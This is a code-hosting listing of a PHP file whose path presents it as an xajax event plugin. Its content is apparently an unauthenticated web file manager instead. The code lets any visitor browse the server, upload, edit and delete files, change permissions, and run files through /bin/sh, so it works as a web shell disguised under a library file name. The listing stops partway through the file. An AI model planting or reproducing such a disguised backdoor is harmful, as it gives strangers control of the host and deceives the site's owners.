/source/Plug-in/xajax/xajax_core/plugin_layer/xajaxEventPlugin.php

http://prosporous.googlecode.com/ · PHP · 1724 lines · 1390 code · 291 blank · 43 comment · 235 complexity · e30c5c45d87227ebfa0629cce87c9eaa MD5 · raw file

  1. <?php
  2. /* ------------------------------------------------------------------------- */
  3. /* Your language:
  4. * 'en' - English
  5. * 'de' - German
  6. * 'fr' - French
  7. * 'it' - Italian
  8. * 'nl' - Dutch
  9. * 'se' - Swedish
  10. * 'sp' - Spanish
  11. * 'dk' - Danish
  12. * 'tr' - Turkish
  13. * 'cs' - Czech
  14. * 'ru' - Russian
  15. * 'auto' - autoselect
  16. */
  17. $lang = 'auto';
  18. /* Charset of output:
  19. * possible values are described in the charset table at
  20. * http://www.php.net/manual/en/function.htmlentities.php
  21. * 'auto' - use the same charset as the words of my language are encoded
  22. */
  23. $site_charset = 'auto';
  24. /* Homedir:
  25. * For example: './' - the script's directory
  26. */
  27. $homedir = './';
  28. /* Size of the edit textarea
  29. */
  30. $editcols = 80;
  31. $editrows = 25;
  32. /* -------------------------------------------
  33. * Optional configuration (remove # to enable)
  34. */
  35. /* Permission of created directories:
  36. * For example: 0705 would be 'drwx---r-x'.
  37. */
  38. # $dirpermission = 0705;
  39. /* Permission of created files:
  40. * For example: 0604 would be '-rw----r--'.
  41. */
  42. # $filepermission = 0604;
  43. /* Filenames related to the apache web server:
  44. */
  45. $htaccess = '.htaccess';
  46. $htpasswd = '.htapasswd';
  47. /* ------------------------------------------------------------------------- */
  48. if (get_magic_quotes_gpc()) {
  49. array_walk($_GET, 'strip');
  50. array_walk($_POST, 'strip');
  51. array_walk($_REQUEST, 'strip');
  52. }
  53. if (array_key_exists('image', $_GET)) {
  54. header('Content-Type: image/gif');
  55. die(getimage($_GET['image']));
  56. }
  57. if (!function_exists('lstat')) {
  58. function lstat ($filename) {
  59. return stat($filename);
  60. }
  61. }
  62. $delim = DIRECTORY_SEPARATOR;
  63. if (function_exists('php_uname')) {
  64. $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
  65. } else {
  66. $win = ($delim == '\\') ? true : false;
  67. }
  68. if (!empty($_SERVER['PATH_TRANSLATED'])) {
  69. $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
  70. } elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
  71. $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
  72. } elseif (function_exists('getcwd')) {
  73. $scriptdir = getcwd();
  74. } else {
  75. $scriptdir = '.';
  76. }
  77. $homedir = relative2absolute($homedir, $scriptdir);
  78. $dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
  79. if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
  80. $dir = relative2absolute($dir, $_POST['olddir']);
  81. }
  82. $directory = simplify_path(addslash($dir));
  83. $files = array();
  84. $action = '';
  85. if (!empty($_POST['submit_all'])) {
  86. $action = $_POST['action_all'];
  87. for ($i = 0; $i < $_POST['num']; $i++) {
  88. if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
  89. $files[] = $_POST["file$i"];
  90. }
  91. }
  92. } elseif (!empty($_REQUEST['action'])) {
  93. $action = $_REQUEST['action'];
  94. $files[] = relative2absolute($_REQUEST['file'], $directory);
  95. } elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
  96. $files[] = $_FILES['upload'];
  97. $action = 'upload';
  98. } elseif (array_key_exists('num', $_POST)) {
  99. for ($i = 0; $i < $_POST['num']; $i++) {
  100. if (array_key_exists("submit$i", $_POST)) break;
  101. }
  102. if ($i < $_POST['num']) {
  103. $action = $_POST["action$i"];
  104. $files[] = $_POST["file$i"];
  105. }
  106. }
  107. if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
  108. $files[] = relative2absolute($_POST['create_name'], $directory);
  109. switch ($_POST['create_type']) {
  110. case 'directory':
  111. $action = 'create_directory';
  112. break;
  113. case 'file':
  114. $action = 'create_file';
  115. }
  116. }
  117. if (sizeof($files) == 0) $action = ''; else $file = reset($files);
  118. if ($lang == 'auto') {
  119. if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
  120. $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
  121. } else {
  122. $lang = 'en';
  123. }
  124. }
  125. $words = getwords($lang);
  126. if ($site_charset == 'auto') {
  127. $site_charset = $word_charset;
  128. }
  129. $cols = ($win) ? 4 : 7;
  130. if (!isset($dirpermission)) {
  131. $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
  132. }
  133. if (!isset($filepermission)) {
  134. $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
  135. }
  136. if (!empty($_SERVER['SCRIPT_NAME'])) {
  137. $self = html(basename($_SERVER['SCRIPT_NAME']));
  138. } elseif (!empty($_SERVER['PHP_SELF'])) {
  139. $self = html(basename($_SERVER['PHP_SELF']));
  140. } else {
  141. $self = '';
  142. }
  143. if (!empty($_SERVER['SERVER_SOFTWARE'])) {
  144. if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
  145. $apache = true;
  146. } else {
  147. $apache = false;
  148. }
  149. } else {
  150. $apache = true;
  151. }
  152. switch ($action) {
  153. case 'view':
  154. if (is_script($file)) {
  155. /* highlight_file is a mess! */
  156. ob_start();
  157. highlight_file($file);
  158. $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
  159. $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
  160. ob_end_clean();
  161. html_header();
  162. echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
  163. <hr />
  164. <table>
  165. <tr>
  166. <td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
  167. <pre style="margin-top: 0"><code>';
  168. for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
  169. echo '</code></pre>
  170. </td>
  171. <td style="text-align: left; vertical-align: top; padding-left: 3pt">
  172. <pre style="margin-top: 0">' . $src . '</pre>
  173. </td>
  174. </tr>
  175. </table>
  176. ';
  177. html_footer();
  178. } else {
  179. header('Content-Type: ' . getmimetype($file));
  180. header('Content-Disposition: filename=' . basename($file));
  181. readfile($file);
  182. }
  183. break;
  184. case 'download':
  185. header('Pragma: public');
  186. header('Expires: 0');
  187. header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
  188. header('Content-Type: ' . getmimetype($file));
  189. header('Content-Disposition: attachment; filename=' . basename($file) . ';');
  190. header('Content-Length: ' . filesize($file));
  191. readfile($file);
  192. break;
  193. case 'upload':
  194. $dest = relative2absolute($file['name'], $directory);
  195. if (@file_exists($dest)) {
  196. listing_page(error('already_exists', $dest));
  197. } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
  198. @chmod($dest, $filepermission);
  199. listing_page(notice('uploaded', $file['name']));
  200. } else {
  201. listing_page(error('not_uploaded', $file['name']));
  202. }
  203. break;
  204. case 'create_directory':
  205. if (@file_exists($file)) {
  206. listing_page(error('already_exists', $file));
  207. } else {
  208. $old = @umask(0777 & ~$dirpermission);
  209. if (@mkdir($file, $dirpermission)) {
  210. listing_page(notice('created', $file));
  211. } else {
  212. listing_page(error('not_created', $file));
  213. }
  214. @umask($old);
  215. }
  216. break;
  217. case 'create_file':
  218. if (@file_exists($file)) {
  219. listing_page(error('already_exists', $file));
  220. } else {
  221. $old = @umask(0777 & ~$filepermission);
  222. if (@touch($file)) {
  223. edit($file);
  224. } else {
  225. listing_page(error('not_created', $file));
  226. }
  227. @umask($old);
  228. }
  229. break;
  230. case 'execute':
  231. chdir(dirname($file));
  232. $output = array();
  233. $retval = 0;
  234. exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
  235. $error = ($retval == 0) ? false : true;
  236. if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
  237. if ($error) {
  238. listing_page(error('not_executed', $file, implode("\n", $output)));
  239. } else {
  240. listing_page(notice('executed', $file, implode("\n", $output)));
  241. }
  242. break;
  243. case 'delete':
  244. if (!empty($_POST['no'])) {
  245. listing_page();
  246. } elseif (!empty($_POST['yes'])) {
  247. $failure = array();
  248. $success = array();
  249. foreach ($files as $file) {
  250. if (del($file)) {
  251. $success[] = $file;
  252. } else {
  253. $failure[] = $file;
  254. }
  255. }
  256. $message = '';
  257. if (sizeof($failure) > 0) {
  258. $message = error('not_deleted', implode("\n", $failure));
  259. }
  260. if (sizeof($success) > 0) {
  261. $message .= notice('deleted', implode("\n", $success));
  262. }
  263. listing_page($message);
  264. } else {
  265. html_header();
  266. echo '<form action="' . $self . '" method="post">
  267. <table class="dialog">
  268. <tr>
  269. <td class="dialog">
  270. ';
  271. request_dump();
  272. echo "\t<b>" . word('really_delete') . '</b>
  273. <p>
  274. ';
  275. foreach ($files as $file) {
  276. echo "\t" . html($file) . "<br />\n";
  277. }
  278. echo ' </p>
  279. <hr />
  280. <input type="submit" name="no" value="' . word('no') . '" id="red_button" />
  281. <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
  282. </td>
  283. </tr>
  284. </table>
  285. </form>
  286. ';
  287. html_footer();
  288. }
  289. break;
  290. case 'rename':
  291. if (!empty($_POST['destination'])) {
  292. $dest = relative2absolute($_POST['destination'], $directory);
  293. if (!@file_exists($dest) && @rename($file, $dest)) {
  294. listing_page(notice('renamed', $file, $dest));
  295. } else {
  296. listing_page(error('not_renamed', $file, $dest));
  297. }
  298. } else {
  299. $name = basename($file);
  300. html_header();
  301. echo '<form action="' . $self . '" method="post">
  302. <table class="dialog">
  303. <tr>
  304. <td class="dialog">
  305. <input type="hidden" name="action" value="rename" />
  306. <input type="hidden" name="file" value="' . html($file) . '" />
  307. <input type="hidden" name="dir" value="' . html($directory) . '" />
  308. <b>' . word('rename_file') . '</b>
  309. <p>' . html($file) . '</p>
  310. <b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
  311. <input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
  312. <hr />
  313. <input type="submit" value="' . word('rename') . '" />
  314. </td>
  315. </tr>
  316. </table>
  317. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  318. </form>
  319. ';
  320. html_footer();
  321. }
  322. break;
  323. case 'move':
  324. if (!empty($_POST['destination'])) {
  325. $dest = relative2absolute($_POST['destination'], $directory);
  326. $failure = array();
  327. $success = array();
  328. foreach ($files as $file) {
  329. $filename = substr($file, strlen($directory));
  330. $d = $dest . $filename;
  331. if (!@file_exists($d) && @rename($file, $d)) {
  332. $success[] = $file;
  333. } else {
  334. $failure[] = $file;
  335. }
  336. }
  337. $message = '';
  338. if (sizeof($failure) > 0) {
  339. $message = error('not_moved', implode("\n", $failure), $dest);
  340. }
  341. if (sizeof($success) > 0) {
  342. $message .= notice('moved', implode("\n", $success), $dest);
  343. }
  344. listing_page($message);
  345. } else {
  346. html_header();
  347. echo '<form action="' . $self . '" method="post">
  348. <table class="dialog">
  349. <tr>
  350. <td class="dialog">
  351. ';
  352. request_dump();
  353. echo "\t<b>" . word('move_files') . '</b>
  354. <p>
  355. ';
  356. foreach ($files as $file) {
  357. echo "\t" . html($file) . "<br />\n";
  358. }
  359. echo ' </p>
  360. <hr />
  361. ' . word('destination') . ':
  362. <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  363. <input type="submit" value="' . word('move') . '" />
  364. </td>
  365. </tr>
  366. </table>
  367. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  368. </form>
  369. ';
  370. html_footer();
  371. }
  372. break;
  373. case 'copy':
  374. if (!empty($_POST['destination'])) {
  375. $dest = relative2absolute($_POST['destination'], $directory);
  376. if (@is_dir($dest)) {
  377. $failure = array();
  378. $success = array();
  379. foreach ($files as $file) {
  380. $filename = substr($file, strlen($directory));
  381. $d = addslash($dest) . $filename;
  382. if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
  383. $success[] = $file;
  384. } else {
  385. $failure[] = $file;
  386. }
  387. }
  388. $message = '';
  389. if (sizeof($failure) > 0) {
  390. $message = error('not_copied', implode("\n", $failure), $dest);
  391. }
  392. if (sizeof($success) > 0) {
  393. $message .= notice('copied', implode("\n", $success), $dest);
  394. }
  395. listing_page($message);
  396. } else {
  397. if (!@file_exists($dest) && @copy($file, $dest)) {
  398. listing_page(notice('copied', $file, $dest));
  399. } else {
  400. listing_page(error('not_copied', $file, $dest));
  401. }
  402. }
  403. } else {
  404. html_header();
  405. echo '<form action="' . $self . '" method="post">
  406. <table class="dialog">
  407. <tr>
  408. <td class="dialog">
  409. ';
  410. request_dump();
  411. echo "\n<b>" . word('copy_files') . '</b>
  412. <p>
  413. ';
  414. foreach ($files as $file) {
  415. echo "\t" . html($file) . "<br />\n";
  416. }
  417. echo ' </p>
  418. <hr />
  419. ' . word('destination') . ':
  420. <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  421. <input type="submit" value="' . word('copy') . '" />
  422. </td>
  423. </tr>
  424. </table>
  425. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  426. </form>
  427. ';
  428. html_footer();
  429. }
  430. break;
  431. case 'create_symlink':
  432. if (!empty($_POST['destination'])) {
  433. $dest = relative2absolute($_POST['destination'], $directory);
  434. if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
  435. if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
  436. if (!@file_exists($dest) && @symlink($file, $dest)) {
  437. listing_page(notice('symlinked', $file, $dest));
  438. } else {
  439. listing_page(error('not_symlinked', $file, $dest));
  440. }
  441. } else {
  442. html_header();
  443. echo '<form action="' . $self . '" method="post">
  444. <table class="dialog" id="symlink">
  445. <tr>
  446. <td style="vertical-align: top">' . word('destination') . ': </td>
  447. <td>
  448. <b>' . html($file) . '</b><br />
  449. <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
  450. <label for="checkbox_relative">' . word('relative') . '</label>
  451. <input type="hidden" name="action" value="create_symlink" />
  452. <input type="hidden" name="file" value="' . html($file) . '" />
  453. <input type="hidden" name="dir" value="' . html($directory) . '" />
  454. </td>
  455. </tr>
  456. <tr>
  457. <td>' . word('symlink') . ': </td>
  458. <td>
  459. <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  460. <input type="submit" value="' . word('create_symlink') . '" />
  461. </td>
  462. </tr>
  463. </table>
  464. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  465. </form>
  466. ';
  467. html_footer();
  468. }
  469. break;
  470. case 'edit':
  471. if (!empty($_POST['save'])) {
  472. $content = str_replace("\r\n", "\n", $_POST['content']);
  473. if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
  474. listing_page(notice('saved', $file));
  475. } else {
  476. listing_page(error('not_saved', $file));
  477. }
  478. } else {
  479. if (@is_readable($file) && @is_writable($file)) {
  480. edit($file);
  481. } else {
  482. listing_page(error('not_edited', $file));
  483. }
  484. }
  485. break;
  486. case 'permission':
  487. if (!empty($_POST['set'])) {
  488. $mode = 0;
  489. if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
  490. if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
  491. if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
  492. if (@chmod($file, $mode)) {
  493. listing_page(notice('permission_set', $file, decoct($mode)));
  494. } else {
  495. listing_page(error('permission_not_set', $file, decoct($mode)));
  496. }
  497. } else {
  498. html_header();
  499. $mode = fileperms($file);
  500. echo '<form action="' . $self . '" method="post">
  501. <table class="dialog">
  502. <tr>
  503. <td class="dialog">
  504. <p style="margin: 0">' . phrase('permission_for', $file) . '</p>
  505. <hr />
  506. <table id="permission">
  507. <tr>
  508. <td></td>
  509. <td style="border-right: 1px solid black">' . word('owner') . '</td>
  510. <td style="border-right: 1px solid black">' . word('group') . '</td>
  511. <td>' . word('other') . '</td>
  512. </tr>
  513. <tr>
  514. <td style="text-align: right">' . word('read') . ':</td>
  515. <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
  516. <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
  517. <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
  518. </tr>
  519. <tr>
  520. <td style="text-align: right">' . word('write') . ':</td>
  521. <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
  522. <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
  523. <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
  524. </tr>
  525. <tr>
  526. <td style="text-align: right">' . word('execute') . ':</td>
  527. <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
  528. <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
  529. <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
  530. </tr>
  531. </table>
  532. <hr />
  533. <input type="submit" name="set" value="' . word('set') . '" />
  534. <input type="hidden" name="action" value="permission" />
  535. <input type="hidden" name="file" value="' . html($file) . '" />
  536. <input type="hidden" name="dir" value="' . html($directory) . '" />
  537. </td>
  538. </tr>
  539. </table>
  540. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  541. </form>
  542. ';
  543. html_footer();
  544. }
  545. break;
  546. default:
  547. listing_page();
  548. }
  549. /* ------------------------------------------------------------------------- */
  550. function getlist ($directory) {
  551. global $delim, $win;
  552. if ($d = @opendir($directory)) {
  553. while (($filename = @readdir($d)) !== false) {
  554. $path = $directory . $filename;
  555. if ($stat = @lstat($path)) {
  556. $file = array(
  557. 'filename' => $filename,
  558. 'path' => $path,
  559. 'is_file' => @is_file($path),
  560. 'is_dir' => @is_dir($path),
  561. 'is_link' => @is_link($path),
  562. 'is_readable' => @is_readable($path),
  563. 'is_writable' => @is_writable($path),
  564. 'size' => $stat['size'],
  565. 'permission' => $stat['mode'],
  566. 'owner' => $stat['uid'],
  567. 'group' => $stat['gid'],
  568. 'mtime' => @filemtime($path),
  569. 'atime' => @fileatime($path),
  570. 'ctime' => @filectime($path)
  571. );
  572. if ($file['is_dir']) {
  573. $file['is_executable'] = @file_exists($path . $delim . '.');
  574. } else {
  575. if (!$win) {
  576. $file['is_executable'] = @is_executable($path);
  577. } else {
  578. $file['is_executable'] = true;
  579. }
  580. }
  581. if ($file['is_link']) $file['target'] = @readlink($path);
  582. if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
  583. if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
  584. $files[] = $file;
  585. }
  586. }
  587. return $files;
  588. } else {
  589. return false;
  590. }
  591. }
  592. function sortlist ($list, $key, $reverse) {
  593. $dirs = array();
  594. $files = array();
  595. for ($i = 0; $i < sizeof($list); $i++) {
  596. if ($list[$i]['is_dir']) $dirs[] = $list[$i];
  597. else $files[] = $list[$i];
  598. }
  599. quicksort($dirs, 0, sizeof($dirs) - 1, $key);
  600. if ($reverse) $dirs = array_reverse($dirs);
  601. quicksort($files, 0, sizeof($files) - 1, $key);
  602. if ($reverse) $files = array_reverse($files);
  603. return array_merge($dirs, $files);
  604. }
  605. function quicksort (&$array, $first, $last, $key) {
  606. if ($first < $last) {
  607. $cmp = $array[floor(($first + $last) / 2)][$key];
  608. $l = $first;
  609. $r = $last;
  610. while ($l <= $r) {
  611. while ($array[$l][$key] < $cmp) $l++;
  612. while ($array[$r][$key] > $cmp) $r--;
  613. if ($l <= $r) {
  614. $tmp = $array[$l];
  615. $array[$l] = $array[$r];
  616. $array[$r] = $tmp;
  617. $l++;
  618. $r--;
  619. }
  620. }
  621. quicksort($array, $first, $r, $key);
  622. quicksort($array, $l, $last, $key);
  623. }
  624. }
  625. function permission_octal2string ($mode) {
  626. if (($mode & 0xC000) === 0xC000) {
  627. $type = 's';
  628. } elseif (($mode & 0xA000) === 0xA000) {
  629. $type = 'l';
  630. } elseif (($mode & 0x8000) === 0x8000) {
  631. $type = '-';
  632. } elseif (($mode & 0x6000) === 0x6000) {
  633. $type = 'b';
  634. } elseif (($mode & 0x4000) === 0x4000) {
  635. $type = 'd';
  636. } elseif (($mode & 0x2000) === 0x2000) {
  637. $type = 'c';
  638. } elseif (($mode & 0x1000) === 0x1000) {
  639. $type = 'p';
  640. } else {
  641. $type = '?';
  642. }
  643. $owner = ($mode & 00400) ? 'r' : '-';
  644. $owner .= ($mode & 00200) ? 'w' : '-';
  645. if ($mode & 0x800) {
  646. $owner .= ($mode & 00100) ? 's' : 'S';
  647. } else {
  648. $owner .= ($mode & 00100) ? 'x' : '-';
  649. }
  650. $group = ($mode & 00040) ? 'r' : '-';
  651. $group .= ($mode & 00020) ? 'w' : '-';
  652. if ($mode & 0x400) {
  653. $group .= ($mode & 00010) ? 's' : 'S';
  654. } else {
  655. $group .= ($mode & 00010) ? 'x' : '-';
  656. }
  657. $other = ($mode & 00004) ? 'r' : '-';
  658. $other .= ($mode & 00002) ? 'w' : '-';
  659. if ($mode & 0x200) {
  660. $other .= ($mode & 00001) ? 't' : 'T';
  661. } else {
  662. $other .= ($mode & 00001) ? 'x' : '-';
  663. }
  664. return $type . $owner . $group . $other;
  665. }
  666. function is_script ($filename) {
  667. return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
  668. }
  669. function getmimetype ($filename) {
  670. static $mimes = array(
  671. '\.jpg$|\.jpeg$' => 'image/jpeg',
  672. '\.gif$' => 'image/gif',
  673. '\.png$' => 'image/png',
  674. '\.html$|\.html$' => 'text/html',
  675. '\.txt$|\.asc$' => 'text/plain',
  676. '\.xml$|\.xsl$' => 'application/xml',
  677. '\.pdf$' => 'application/pdf'
  678. );
  679. foreach ($mimes as $regex => $mime) {
  680. if (eregi($regex, $filename)) return $mime;
  681. }
  682. // return 'application/octet-stream';
  683. return 'text/plain';
  684. }
  685. function del ($file) {
  686. global $delim;
  687. if (!file_exists($file)) return false;
  688. if (@is_dir($file) && !@is_link($file)) {
  689. $success = false;
  690. if (@rmdir($file)) {
  691. $success = true;
  692. } elseif ($dir = @opendir($file)) {
  693. $success = true;
  694. while (($f = readdir($dir)) !== false) {
  695. if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
  696. $success = false;
  697. }
  698. }
  699. closedir($dir);
  700. if ($success) $success = @rmdir($file);
  701. }
  702. return $success;
  703. }
  704. return @unlink($file);
  705. }
  706. function addslash ($directory) {
  707. global $delim;
  708. if (substr($directory, -1, 1) != $delim) {
  709. return $directory . $delim;
  710. } else {
  711. return $directory;
  712. }
  713. }
  714. function relative2absolute ($string, $directory) {
  715. if (path_is_relative($string)) {
  716. return simplify_path(addslash($directory) . $string);
  717. } else {
  718. return simplify_path($string);
  719. }
  720. }
  721. function path_is_relative ($path) {
  722. global $win;
  723. if ($win) {
  724. return (substr($path, 1, 1) != ':');
  725. } else {
  726. return (substr($path, 0, 1) != '/');
  727. }
  728. }
  729. function absolute2relative ($directory, $target) {
  730. global $delim;
  731. $path = '';
  732. while ($directory != $target) {
  733. if ($directory == substr($target, 0, strlen($directory))) {
  734. $path .= substr($target, strlen($directory));
  735. break;
  736. } else {
  737. $path .= '..' . $delim;
  738. $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
  739. }
  740. }
  741. if ($path == '') $path = '.';
  742. return $path;
  743. }
  744. function simplify_path ($path) {
  745. global $delim;
  746. if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
  747. $path = realpath($path);
  748. if (@is_dir($path)) {
  749. return addslash($path);
  750. } else {
  751. return $path;
  752. }
  753. }
  754. $pattern = $delim . '.' . $delim;
  755. if (@is_dir($path)) {
  756. $path = addslash($path);
  757. }
  758. while (strpos($path, $pattern) !== false) {
  759. $path = str_replace($pattern, $delim, $path);
  760. }
  761. $e = addslashes($delim);
  762. $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
  763. while (ereg($regex, $path)) {
  764. $path = ereg_replace($regex, $delim, $path);
  765. }
  766. return $path;
  767. }
  768. function human_filesize ($filesize) {
  769. $suffices = 'kMGTPE';
  770. $n = 0;
  771. while ($filesize >= 1000) {
  772. $filesize /= 1024;
  773. $n++;
  774. }
  775. $filesize = round($filesize, 3 - strpos($filesize, '.'));
  776. if (strpos($filesize, '.') !== false) {
  777. while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
  778. $filesize = substr($filesize, 0, strlen($filesize) - 1);
  779. }
  780. }
  781. $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
  782. return $filesize . " {$suffix}B";
  783. }
  784. function strip (&$str) {
  785. $str = stripslashes($str);
  786. }
  787. /* ------------------------------------------------------------------------- */
  788. function listing_page ($message = null) {
  789. global $self, $directory, $sort, $reverse;
  790. html_header();
  791. $list = getlist($directory);
  792. if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
  793. if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
  794. $list = sortlist($list, $sort, $reverse);
  795. echo '<h1 style="margin-bottom: 0"></h1>
  796. <form enctype="multipart/form-data" action="' . $self . '" method="post">
  797. <table id="main">
  798. ';
  799. directory_choice();
  800. if (!empty($message)) {
  801. spacer();
  802. echo $message;
  803. }
  804. if (@is_writable($directory)) {
  805. upload_box();
  806. create_box();
  807. } else {
  808. spacer();
  809. }
  810. if ($list) {
  811. listing($list);
  812. } else {
  813. echo error('not_readable', $directory);
  814. }
  815. echo '</table>
  816. </form>
  817. ';
  818. html_footer();
  819. }
  820. function listing ($list) {
  821. global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
  822. echo '<tr class="listing">
  823. <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
  824. ';
  825. column_title('filename', $sort, $reverse);
  826. column_title('size', $sort, $reverse);
  827. if (!$win) {
  828. column_title('permission', $sort, $reverse);
  829. column_title('owner', $sort, $reverse);
  830. column_title('group', $sort, $reverse);
  831. }
  832. echo ' <th class="functions">' . word('functions') . '</th>
  833. </tr>
  834. ';
  835. for ($i = 0; $i < sizeof($list); $i++) {
  836. $file = $list[$i];
  837. $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
  838. $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
  839. $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
  840. echo '<tr class="listing">
  841. <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
  842. <td class="filename" title="' . html($timestamps) . '">';
  843. if ($file['is_link']) {
  844. echo '<img src="' . $self . '?image=link" alt="link" /> ';
  845. echo html($file['filename']) . ' &rarr; ';
  846. $real_file = relative2absolute($file['target'], $directory);
  847. if (@is_readable($real_file)) {
  848. if (@is_dir($real_file)) {
  849. echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
  850. } else {
  851. echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
  852. }
  853. } else {
  854. echo html($file['target']);
  855. }
  856. } elseif ($file['is_dir']) {
  857. echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
  858. if ($win || $file['is_executable']) {
  859. echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
  860. } else {
  861. echo html($file['filename']);
  862. }
  863. echo ' ]';
  864. } else {
  865. if (substr($file['filename'], 0, 1) == '.') {
  866. echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
  867. } else {
  868. echo '<img src="' . $self . '?image=file" alt="file" /> ';
  869. }
  870. if ($file['is_file'] && $file['is_readable']) {
  871. echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
  872. } else {
  873. echo html($file['filename']);
  874. }
  875. }
  876. if ($file['size'] >= 1000) {
  877. $human = ' title="' . human_filesize($file['size']) . '"';
  878. } else {
  879. $human = '';
  880. }
  881. echo "</td>\n";
  882. echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";
  883. if (!$win) {
  884. echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
  885. $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
  886. if ($l) echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
  887. echo html(permission_octal2string($file['permission']));
  888. if ($l) echo '</a>';
